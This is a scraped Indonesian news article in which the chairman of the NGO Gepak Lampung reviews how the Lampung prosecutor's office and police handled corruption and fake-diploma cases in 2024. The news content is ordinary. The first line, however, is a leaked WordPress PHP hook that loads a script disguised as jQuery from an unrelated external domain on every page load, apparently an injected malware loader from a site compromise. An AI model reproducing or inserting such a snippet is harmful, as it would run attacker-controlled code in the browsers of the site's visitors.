add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Refleksi Akhir Tahun 2024, Penanganan Perkara Hukum di Provinsi Lampung, Sudut Pandang Gepak - Atmosfirnews.id

Refleksi Akhir Tahun 2024, Penanganan Perkara Hukum di Provinsi Lampung, Sudut Pandang Gepak

- Jurnalis

Kamis, 26 Desember 2024 - 12:32 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Lampung, Atmosfirnews.id
Menjelang akhir Tahun 2024 dan menyongsong awal Tahun 2025, Ketua Gepak Lampung, Wahyudi menyampaikan pandangannya terkait penanganan perkara hukum di Provinsi Lampung, baik itu yang ditangani institusi Kepolisian maupun Kejaksaan, dilakukan awak media dalam wawancara khusus pada hari Rabu (25/12/2024).

“Pertama saya menyoroti kinerja Kejati Lampung, menurut hemat kami, menjelang akhir tahun 2024 ini ada beberapa kejutan besar dari aparat penegak hukum. Kejati Lampung sudah banyak menetapkan tersangka, artinya ini adalah bukti nyata bahwa dalam kepemimpinan Kejati yang baru, Kuntadi, sudah terlihat kerja nyatanya,” ujar Wahyudi.

“Salah satu kasus laporan LSM GEPAK terkait dengan kegiatan dana hibah Pemda Kabupaten Pringsewu, sudah ditetapkan dua orang tersangka, walaupun tersangka utamanya belum dapat ditetapkan sebagai tersangka dan kami sudah mengkonfirmasi kepada pihak kejaksaan terkait ini bahwa untuk menetapkan tersangka harus berhati-hati karena menyangkut jabatan politik,” ujar Yudhi, panggilan lain Wahyudi .

“Kemudian kasus selanjutnya, kasus PT. LEB, sudah ditetapkan dua orang tersangka oleh pihak Kejati dan ada kemungkinan akan ditetapkan kembali tersangka lainnya, karena pusaran dana tersebut sangat luas cakupan pengelolaannya, bukan hanya dikelola oleh provinsi, tapi juga melibatkan mantan bupati Kabupaten Lampung Timur, Dawam Raharjo dan masih banyak pihak lainnya yang juga terlibat,” jelas Yudhi lagi.

“Sementara ini masih banyak kasus yang menunggak di Kejati Lampung, tapi setidaknya apa yg sudah dilakukan itu dapat mengobati dan dapat dipahami, karena faktor kehari-hatian juga harus diperhatikan,” ujar Yudhi lagi.

Baca Juga :  Intervensi Media dan Ketiadaan Asuransi Disorot, GEPAK Pertanyakan Mandeknya Kasus Balita Tewas di Swiss-Belhotel

“Terakhir Gepak sedang mendorong penuntasan kasus Keuangan Sekretariat Dewan Lampung Utara. Sudah kami laporkan sejak setahun yang lalu, sampai Aspidsus Kejati yang lalu dimutasi namun kasus ini belum juga dapat dituntaskan. Kami berharap untuk kasus ini bisa segera ditetapkan tersangka, indikasinya terbuka lebar, karena dana bancakan tersebut disinyalir banyak mengalir Ke Rekening Pribadi Oknum, dan sudah Kami langsung sampaikan Kepada Aspidsus, Armen, Beliau akan dalami dengan baik, dan terkait ini masih dalam proses pemanggilan saksi- saksi ujarnya,” jelas Wahyudi.

“Kedepan, Tahun 2025, masyarakat menunggu kerja nyata kembali dari Kejati Lampung, bahwa tidak ada toleransi dari pidana Korupsi. Kami dari GEPAK sangat mengapresiasi Kinerja dari Kejati Lampung.” kata Wahyudi.

“Kemudian dari sudut pandang Polda Lampung,
Laporan pengaduan kami terkait Ijazah palsu yang melibatkan anggota DPRD Lampung Selatan terpilih Tahun 2024, Alhamdulillah sudah ada penetapan tersangka sebanyak dua orang yang berinisial S dan As. Ini salah satu bentuk keseriusan Penyidik Poda Lampung KrimSus Sub Dit Empat yang telah bekerja dengan sungguh-sungguh, bekerja profesional ON THE TRACK,” ujar Wahyudi.

“Sudah banyak juga kasus lain yang ditetapkan tersangka bahkan sudah sampai ke pengadilan.
Tapi perlu diketahui khalayak ramai bahwa masih banyak juga perkara yang belum terselesaikan. Padahal sudah disampaikan, bahwa dalam penegakan hukum, jika sudah terpenuhi dua alat bukti, maka sudah dapat ditetapkan tersangka, sebaliknya walaupun sampai ratusan saksi yang diperiksa jika tidak memenuhi dua alat bukti itu maka belum dapat ditetapkan sebagai tersangka,” ujar Wahyudi .

Baca Juga :  Bripka Agus Terlibat Baku Tembak dengan Komplotan Curanmor di Bandar Lampung: "Saya Lihat Warga Ditodong Senpi"

“Masih banyak kasus-kasus mangkrak, bahkan yang melibatkan anggota sendiri, yang belum terungkap oleh Polda Lampung. Saya berharap, sampai dengan di kabupaten (Polres-Polres) ada evaluasi , tidak hanya di akhir tahun tetapi minimal evaluasi per triwulan. Masih banyak kasus yg menggantung sampai dua-tiga tahun. Padahal Wakapolda sendiri pernah menyampaikan, hanya ada 2 alternatif, pertama, jika cukup alat bukti maka lanjutkan, kedua, jika tidak memenuhi unsur-unsur tersebut maka SP3, hentikan, sambil ada alat-alat bukti tambahan baru,”tambah Wahyudi.

“Saya rasa itu kedepannya bisa terlaksana. Sampai kapanpun publik akan terus menunggu kasus-kasus yang mangkrak itu dapat diproses sampai selesai dan saya sebagai Ketua Gepak Lampung memberikan apresiasi yang setinggi-tingginya bahwa pihak kinerja aparat penegak hukum saat ini lebih baik dari yang lalu,” ujar Wahyudi.

” Mudah-mudahan ada penyampaian refleksi akhir tahun juga dari institusi Kepolisian dan Kejaksaan Lampung, sehingga kita, masyarakat luas juga mendapatkan informasi kinerja yang lebih real dua institusi ini, berapa perkara yang masuk, berapa perkara yang berhasil diselesaikan, berapa persentase penyelesaian perkaranya, dan lain sebagainya,” tutup Yudhi mengakhiri wawancara.

Penulis : Redaksi

Berita Terkait

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah
Mantan Bendahara KONI Lamteng Ungkap Dugaan Peran Mantan Bupati MA dalam Kasus Dana Hibah
Dari Pringsewu, Pengelola Perpustakaan Sekolah Lampung Berikrar Majukan Literasi
Anggaran Perpusnas Anjlok 52 Persen, Pringsewu Justru Perkuat Perpustakaan Sekolah
Cabdin Wilayah II Lampung Dorong Perpustakaan Sekolah Jadi Pusat Literasi
Berita ini 249 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Jumat, 21 Agustus 2026 - 11:06 WIB

Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung

Jumat, 21 Agustus 2026 - 09:42 WIB

Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah

Kamis, 20 Agustus 2026 - 11:16 WIB

Mantan Bendahara KONI Lamteng Ungkap Dugaan Peran Mantan Bupati MA dalam Kasus Dana Hibah

Berita Terbaru